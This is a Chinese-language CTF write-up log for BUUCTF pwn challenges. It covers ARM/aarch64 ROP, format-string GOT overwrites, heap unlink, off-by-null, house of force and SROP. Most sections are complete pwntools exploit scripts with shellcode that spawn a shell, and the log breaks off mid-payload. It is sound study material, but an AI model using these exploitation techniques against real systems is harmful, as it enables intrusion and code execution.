pwndbg> set arch arm #设置程序架构为arm架构
pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
连接上后按 C 继续执行,然后在 另一个窗口输入 cylic 生成的字符串
(第一个问题忽略直接回车,第二个问题输入字符串)然后发现 gdb 这 ip 指向了 0x62616164
并且可以知道缓冲区溢出长度为 112 到 ip
由于是静态编译,接下来就用 ROP 的方法,寻找 /bin/sh 字符串和 system 函数
/bin/sh
看 wp 说这个函数像是 system (循着哪个函数调用 /bin/sh 找的)
然后需要 gadget
arm 的第一个参数寄存器是 r0
然后就是 exp
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process(['qemu-arm', './pwn']) p.recv() p.sendline('') p.recv() payload = b'a'*112 + p32(pop_r0_r4_pc) + p32(bin_sh)*2 + p32(system) p.sendline(payload) p.interactive()
看来还要抽时间学 arm 指令集啊
hitcontraining_playfmt
格式化字符串,不知道为什么,打远程有时候能成功有时候不能,浪费我的时间
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 25313) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def pd(): p.sendline(b'stop') p.recvuntil(b'stop') # shellcode -> buf buf = 0x0804A060 # leaK ret p.recv() p.sendline(b'%6$p') p.recvuntil(b'0x') ret = int(p.recv(8), 16) - 0x28 print(' ret -> ', hex(ret)) # ret -> shellcode_addr shellcode_addr = buf + 0x5 payload = b'%' + str((ret + 0x1c) & 0xff).encode() + b'c%6$hhn' p.sendline(payload) payload = b'%' + str(shellcode_addr & 0xffff).encode() + b'c%10$hn' p.sendline(payload) # pwn shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' p.send(b'quit\x00' + asm(shellcraft.sh())) p.interactive()
inndy_echo2
格式化字符串,但是我犯了一个低级错误
这是正确的 payload
payload = b'%' + str((one_gadget >> i) & 0xFFFF).encode() + b'c%8$hn' payload = payload.ljust(16, b'a') + p64(exit + i//8)
但是我写成
payload = b'%' + str((one_gadget >> i) & 0xFFFF - 24).encode() + b'c' payload = payload.ljust(16, b'a') + p64(exit + i//8) + b'%8$hn'
这样的话,遇到 p64(exit + i//8) 中的 \x00 就不输出后面的 %8$hn 了,也就无法正常修改
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 29176) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() #gdb.attach(p, 'b *$rebase(0x984)') # leak pro_base p.sendline(b'%41$p') p.recvuntil(b'0x') pro_base = int(p.recv(12), 16) - 74 - 0x9B9 print(' pro_base -> ', hex(pro_base)) # leak libe_base p.sendline(b'%43$p') p.recvuntil(b'0x') libc_base = int(p.recv(12), 16) - 240 - libc.sym['__libc_start_main'] print(' libc_base -> ', hex(libc_base)) # exit = pro_base + elf.got['exit'] one_gadget = libc_base + 0x45216 print(hex(one_gadget)) for i in range(0, 48, 16): payload = b'%' + str((one_gadget >> i) & 0xFFFF).encode() + b'c%8$hn' payload = payload.ljust(16, b'a') + p64(exit + i//8) p.sendline(payload) p.recv() sleep(1) p.sendline(b'exit') p.interactive() #pause()
jarvisoj_level6_x64
四功能齐全的堆题
漏洞点应该在 edit 模块
这里用到了 realloc 函数,而 add 只用了 malloc 函数
并且,由于 (128 - v2 % 128) % 128 + v2 的限制,0 大小申请是 0 ,而 1-0x80 申请的堆块大小都是 0x80 ,0x81 - 0x100 都是固定 0x100 以此类推,区别是最后修改时候所能写的字节大小
这里的漏洞应该就是要利用 realloc 函数的特性了
他的基础功能是改变mem_address所指内存区域的大小为newsize长度。这里就有几种不同的情况
1.当size为0,这时就相当于free()函数,同时返回值为null
2.当指针为0,size大于0,相当于malloc函数
3.size小于等于原来的size,则在原先的基础上缩小,多余的free掉
4.size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉。
如果是 edit 的时候 size = 0 ,那么是不是相当于存在 UAF,不过貌似限制了长度要为正数,这个不行了
不过 free 中存在 UAF
程序开始时会申请一个大堆块来存放各个堆块的信息
这里我利用 realloc 的特性泄露了 libc_base
# leak libc_base add(0x1, b'a') #index 0 add(0x1, b'a') #index 1 add(0x1, b'a') #index 2 free(1) edit(0, 0x90, b'a'*0x90) show() p.recv() libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base))
看了 wp 发现这道题是要用 unlink 的方法,跟 realloc 关系不大
这里的 unlink 也是利用了 free 的 uaf,先利用 unsort bin 泄露堆块地址,然后利用 unlink 修改保存的信息来 get shell
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 27557) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def show(): p.sendlineafter(b'choice: ', b'1') def add(size, content): p.sendlineafter(b'choice: ', b'2') p.sendlineafter(b'note: ', str(size)) p.sendlineafter(b'note: ', content) def edit(index, size, content): p.sendlineafter(b'choice: ', b'3') p.sendlineafter(b'number: ', str(index)) p.sendlineafter(b'note: ', str(size)) p.sendlineafter(b'note: ', content) def free(index): p.sendlineafter(b'choice: ', b'4') p.sendlineafter(b'number: ', str(index)) # leak heap_addr add(0x80, b'a'*0x80) #index 0 add(0x80, b'b'*0x80) #index 1 add(0x80, b'c'*0x80) #index 2 add(0x10, b'd'*0x10) #index 3 free(0) free(2) add(8, b'a'*8) #index 0 show() p.recvuntil('a' * 8) heap_addr = u64(p.recv(4).strip().ljust(8, b'\x00')) - 0x1940 + 0x30 print(' heap_addr -> ', hex(heap_addr)) # unlink attack free(0) free(1) free(3) add(0x20, p64(0) + p64(0x110) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)) # index 0 payload = b'a'*0x80 + p64(0x110) + p64(0x90) + b'A'*0x80 + p64(0) + p64(0x91) + b'a'*0x80 add(len(payload), payload)# index 1 free(2) # leak libc_base payload = p64(1)*2 + p64(0x8) + p64(elf.got['atoi']) edit(0, len(payload), payload) show() libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['atoi'] print(' libc_base -> ', hex(libc_base)) # atoi -> system system = libc_base + libc.sym['system'] edit(0, 0x8, p64(system)) # pwn p.sendlineafter(b'choice: ', b'/bin/sh\x00') p.interactive() #debug()
注意 edit 会检查要输入的大小和程序的大小是否相同然后才去判断是否调用 ralloc ,所有修改 atoi 为 system 要注意
asis2016_b00ks
ubuntu 16 、保护全开
漏洞点: off by null
漏洞利用:存在一个名字在 data 中,并且紧靠着 ptr ,可以利用 off by null 修改 ptr[0] 来泄露 ibc_bae 和 get_shell
思路:先用紧考着的这个特性利用 show 泄露堆块地址,在利用 off by null 修改 ptr[0] ,使其指向可控的堆块空间,布置可控的堆块空间,使其指向 unsorted bin 的 fd 来泄露 libc_base ,再一个指向自身,方便布置为 free_hook ,好修改为 one_gadget
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 26427) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def init(name): p.sendlineafter(b'name: ', name) def add(size1, name, size2, content): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'size: ', str(size1)) p.sendlineafter(b': ', name) p.sendlineafter(b'size: ', str(size2)) p.sendlineafter(b': ', content) def free(index): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'delete: ', str(index)) def edit(index, content): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'edit: ', str(index)) p.sendlineafter(b'description: ', content) def show(): p.sendlineafter(b'> ', b'4') def edit_name(content): p.sendlineafter(b'> ', b'5') p.sendlineafter(b': ', content) # leak heap_addr init(b'a'*0x20) add(0xd0, b'a', 0x20, b'a') # index 1 show() p.recvuntil(b'a'*0x20) heap_addr = u64(p.recv(6).ljust(8, b'\x00')) print(' heap_addr -> ', hex(heap_addr)) # leak libc_base add(0x80, b'a', 0x60, b'a') # index 2 add(0x10, b'a', 0x10, b'a') # index 3 free(2) payload = p64(1) + p64(heap_addr + 0x30) + p64(heap_addr - 0x30) + p64(0x20) edit(1, payload) edit_name(b'a'*0x20) show() libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) # free_hook -> one_gadget free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0x4526a payload = p64(1) + p64(heap_addr + 0x30) + p64(free_hook) + p64(0x20) edit(1, payload) edit(1, p64(one_gadget)) #pwn free(1) p.interactive() #debug()
linkctf_2018.7_babypie
一道比较有趣的题,开了 PIE ,有后面函数,是栈溢出
第一个 read 泄露 canary
由于开启了PIE,但是 ret 也就是最后一个字节和后面函数不同,所以只需要覆盖一个字节即可,不需要泄露程序基址
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27880) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() #gdb.attach(p, 'b read') # leak canary p.recv() p.send(b'a'*0x29) p.recvuntil(b'a'*0x29) canary = u64(p.recv(7).rjust(8, b'\x00')) print(' canary -> ', hex(canary)) # ret -> backdoor payload = b'a'*0x28 + p64(canary) + b'a'*8 + p8(0x3e) p.send(payload) p.interactive() #pause()
ciscn_2019_s_1
没开 PIE 其它保护全开的 ubuntu 18 的题目
漏洞点:存放 off by null
思路:利用 of by null 构造 unlink ,并且没开 PIE ,可以修改 heap_array上的数据。
第一,这里存在 tcache ,所以要先堆满 tcache bin 。
第二,show 函数 和 edit 函数的时候存在限制,判断是否能用的 key 被放到 bss 中,在 heap_addr 的下面,这里能够选择 index ,所以尽量选择 index 大的,方便我们修改 key 继续攻击
第三,不知道为什么 unlink 的时候只有 ptr = 0x6021e0 才行,如 ptr = 0x6021f0 不行的,不知道为什么
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 25865) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(index, size, content): p.sendlineafter(b'4.show\n', '1') p.sendlineafter(b'index:\n', str(index)) p.sendlineafter(b'size:\n', str(size)) p.sendafter(b'content:\n', content) def free(index): p.sendlineafter(b'4.show\n', '2') p.sendlineafter(b'index:\n', str(index)) def edit(index, content): p.sendlineafter(b'4.show\n', '3') p.sendlineafter(b'index:\n', str(index)) p.sendafter(b'content:\n', content) def show(index): p.sendlineafter(b'4.show\n', '4') p.sendlineafter(b'index:\n', str(index)) # unlink attack for i in range(1, 8): add(i, 0xf8, b'a') add(32, 0xf8, b'a') add(9, 0xf8, b'a') add(8, 0x80, b'/bin/sh\x00') add(31, 0x80, b'a') for i in range(1, 8): free(i) ptr = 0x6021e0 payload = p64(0) + p64(0xf0) + p64(ptr - 0x18) + p64(ptr - 0x10) + b'a'*0xd0 + p64(0xf0) edit(32, payload) free(9) # change heap_array payload = p64(0)*2 + p64(elf.got['puts']) + p64(0x6021e0) + b'\x00'*(0x2B8 - 0x1C8 - 0x20) + p32(1) + p32(3) edit(32, payload) # leak libc_base show(31) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts'] print(' libc_base -> ', hex(libc_base)) # free_hook -> system system = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] edit(32, p64(free_hook)) edit(32, p64(system)) # pwn free(8) p.interactive()
hfctf_2020_marksman
先泄露 puts 地址,然后可以修改内存的后三个字节
首先我们可以通过 puts 地址得到 libc_base ,然后修改 exit_hook 为 one_gadget
不过 sub_BC2 函数会限制我们直接填入 one_gadget
所以直接抬高 one_gadget 五个字节,从上一个指令开始指向,这样就能绕过了
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 28581) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() p.recvuntil(b'0x') libc_base = int(p.recv(12), 16) - libc.sym['puts'] print(' libc_base -> ', hex(libc_base)) one_gadget = libc_base + 0x4f322 - 5 exit_hook = libc_base + 0x81df60 print(hex(exit_hook)) p.sendlineafter(b'shoot!shoot!\n', str(exit_hook)) for i in range(0, 24, 8): p.sendlineafter(b'biang!\n', chr((one_gadget >> i) & 0xFF)) p.interactive()
warmup
alarm 函数的特性构造 orw_ROP
栈溢出
但是是静态编译,也开了 NX ,没有足够的 gadget 构造 rop 来 getshell
但是存在 read 和 write ,只是缺少 open,这里利用 alarm 函数的特性来调用 orw 读 flag
当之前调用了 alarm(0xa) 时,如果距离 n 秒再次调用 alarm 函数,那么就会返回 a-n ,我们也就能控制 eax 的值了,这里控制 eax 为 5,再接着系统调用 ,就能实现 open 了
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 26850) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() read_addr = 0x804811D vuln_addr = 0x804815A write_addr = 0x8048135 data_addr = 0x80491BC alarm_addr = 0x804810D syscall = 0x804813a payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data_addr) + p32(0x10) p.sendafter(b'2016!\n', payload) p.send(b'/flag\x00'.ljust(0x10, b'\x00')) # open sleep(5) payload = b'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data_addr) + p32(0) p.send(payload) # read payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data_addr) + p32(0x30) p.send(payload) # write payload = b'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data_addr) + p32(0x30) p.send(payload) p.recv() p.recv() p.recv() print(p.recv())
gwctf_2019_easy_pwn
c ++ 看起来是真的乱
后来发现 I 会被替换成 pretty ,以此栈溢出构建 ROP
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27280) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() # leak libc_base payload =b'I'*16 + p32(elf.plt['puts']) + p32(0x8049091) + p32(elf.got['puts']) p.sendafter('name!\n', payload) libc_base = u32(p.recvuntil(b'\xf7')[-4:]) - libc.sym['puts'] print(' libc_base -> ', hex(libc_base)) # get shell system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) payload = b'I'*16 + p32(system) + b'a'*4 + p32(binsh) p.sendafter('name!\n', payload) # pwn p.interactive()
picoctf_2018_echo back
格式化字符串
但是 fini_array 修改不了,不过这里可以把 puts -> vuln ,令 pinrtf -> system
payload 构造了好一会
from pwn import * from struct import pack context(os = 'linux', arch = 'i386', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27348) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() system = 0x8048460 vuln = 0x80485dc printf_got = 0x0804A010 puts_got = 0x0804A01C #gdb.attach(p, 'b *0x8048609') # printf_got -> system puts_got -> vuln # 4 8 60 84 85 dc payload = b'%4c%23$hhn%4c%24$hn%88c%25$hhn%36c%26$hhn%1c%27$hhn%87c%28$hhnaa' + p32(printf_got + 2) + p32(printf_got + 3) + p32(printf_got) + p32(printf_got + 1) + p32(puts_got + 1) + p32(puts_got) + p32(printf_got + 2) p.sendafter(b'message:\n', payload) p.send(b'/bin/sh\x00') p.interactive()
360chunqiu2017_smallest
一道静态编译题,程序很简单,只有 read(0, rsp, 0x400)
这里要利用 read 的返回值控制 rax 加上 SROP 来 getshell
要利用 SORO getsehll 需要 binsh 的地址,这里我们得先泄露栈地址
payload = p64(vuln)*3 p.send(payload) payload = b'\xb3' p.send(payload) stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(' stack -> ', hex(stack))
这里先把 vuln 是函数写进去,后面要进行 write 的系统调用,得先控制 rax 为 1,这里是发送了一个字符,控制 rip 直接到 mov edx, 400h 执行,跳过了 xor rax, rax 。最后成功泄露栈地址
接下来就是读取 binsh,我们要把 binsh 读到已知的地址
# SROP-read rd = SigreturnFrame() rd.rax = 0 rd.rdi = 0 rd.rsi = stack rd.rdx = 0x400 rd.rsp = stack rd.rip = syscall payload = p64(vuln) + b'a'*8 + bytes(rd) p.send(payload) sleep(1) payload = p64(syscall) + b'a'*7 p.send(payload)
这里利用 SROP 调用 read
然后就是读取 /bin/sh 到已知的栈地址,并且接着利用 SROP 调用 execve
# read binsh -> execev sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = stack + 0x190 # "/bin/sh" 's addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack sigframe.rip = syscall payload = p64(vuln) + b'a'*8 + bytes(sigframe) payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00' p.send(payload) sleep(1) payload = p64(syscall) + b'a'*7 p.send(payload)
最后就是 getshell
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 29666) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() #gdb.attach(p, 'b *0x400c0') syscall = 0x4000BE vuln = 0x4000B0 # leak start_addr payload = p64(vuln)*3 p.send(payload) payload = b'\xb3' p.send(payload) stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(' stack -> ', hex(stack)) # SROP-read rd = SigreturnFrame() rd.rax = 0 rd.rdi = 0 rd.rsi = stack rd.rdx = 0x400 rd.rsp = stack rd.rip = syscall payload = p64(vuln) + b'a'*8 + bytes(rd) p.send(payload) sleep(1) payload = p64(syscall) + b'a'*7 p.send(payload) # read binsh -> execev sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = stack + 0x190 # "/bin/sh" 's addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack sigframe.rip = syscall payload = p64(vuln) + b'a'*8 + bytes(sigframe) payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00' p.send(payload) sleep(1) payload = p64(syscall) + b'a'*7 p.send(payload) p.interactive() #pause()
bctf2016_bcloud
一道之前做过的题,house of force
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 29666) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'>>\n', b'1') p.sendlineafter(b'content:\n', str(size)) p.sendlineafter(b'content:\n', content) def edit(index, content): p.sendlineafter(b'>>\n', b'3') p.sendlineafter(b'id:\n', str(index)) p.sendlineafter(b'content:\n', content) def free(index): p.sendlineafter(b'>>\n', b'4') p.sendlineafter(b'id:\n', str(index)) # leak heap_addr p.sendafter(b'Input your name:\n', b'a'*0x40) p.recvuntil(b'a'*0x40) heap_addr = u32(p.recv(4)) - 8 p.sendafter(b'Org:\n', b'a'*0x40) p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c) print(' heap_addr -> ', hex(heap_addr)) # house of force heap_array = 0x0804B120 top_chunk_addr = heap_addr + 0xd8 offset = heap_array - top_chunk_addr - 0x10 add(offset, b'') add(0x60, p32(heap_array)*2) #index 1 add(0x10, b'a') #index 2 add(0x10, b'a') #index 3 # leak libc_base edit(1, p32(heap_array)*2 + p32(elf.got['free']) + p32(elf.got['puts'])) edit(2, p32(elf.sym['puts'])) free(3) libc_base = u32(p.recv(4)) - libc.sym['puts'] print(' libc_base -> ', hex(libc_base)) # free -> system system = libc_base + libc.sym['system'] edit(2, p32(system)) # pwn add(0x10, b'/bin/sh\x00') #index 3 free(3) p.interactive()
shanghai2018_baby_arm
一道 arm aarch64 架构的 ret2csu 题目
qemu-aarch64 -L /usr/aarch64-linux-gnu/ pwn
程序是明显的栈溢出
并且带有 mprotect 函数,这里将 shellcode 写入 0x411068 ,然后利用 mprotect 函数将 0x411068 置为可执行内存,接着执行 shellcode
接着介绍要用到的 gadget
可以为 X19 ~ X24 X29,X30 的寄存器赋值
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址
另外的
.text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ; 将x21寄存器中的值赋给x3(存放函数地址)
.text:00000000004008B0 MOV X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4 MOV X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8 MOV W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC ADD X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0 BLR X3 ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4 CMP X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8 B.NE loc_4008AC ; 将x21寄存器中的值赋给x3(存放函数地址)
可以对 mprotect 函数的三个参数进行控制
看完上面,那么我们就是要将 X3 赋予我们写入的 shellcode 的地址
x0 = 0x411068
x1 = 0x1000
x2 = 0x7
x3 = shellcode_addr
由于还要调用 mprotect 函数,所以我们先写入 mprotect@plt 再写入 shellcode
执行完后,这时候已经调用 mprotect@plt 完成了,接下来程序由于不进行跳转,会重新回到 0x4008cc 执行,接下来只要控制好 X30 为 shellcode_addr 就行了,即在上面的 payload 中添加 p64(0) + p64(shellcode_addr)
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'aarch64', log_level='debug') #p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"]) p = remote('node4.buuoj.cn', 27295) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() payload = p64(elf.plt['mprotect']) + asm(shellcraft.aarch64.sh()) p.sendlineafter(b'Name:', payload) payload = b'a'*72 + p64(0x4008CC) + 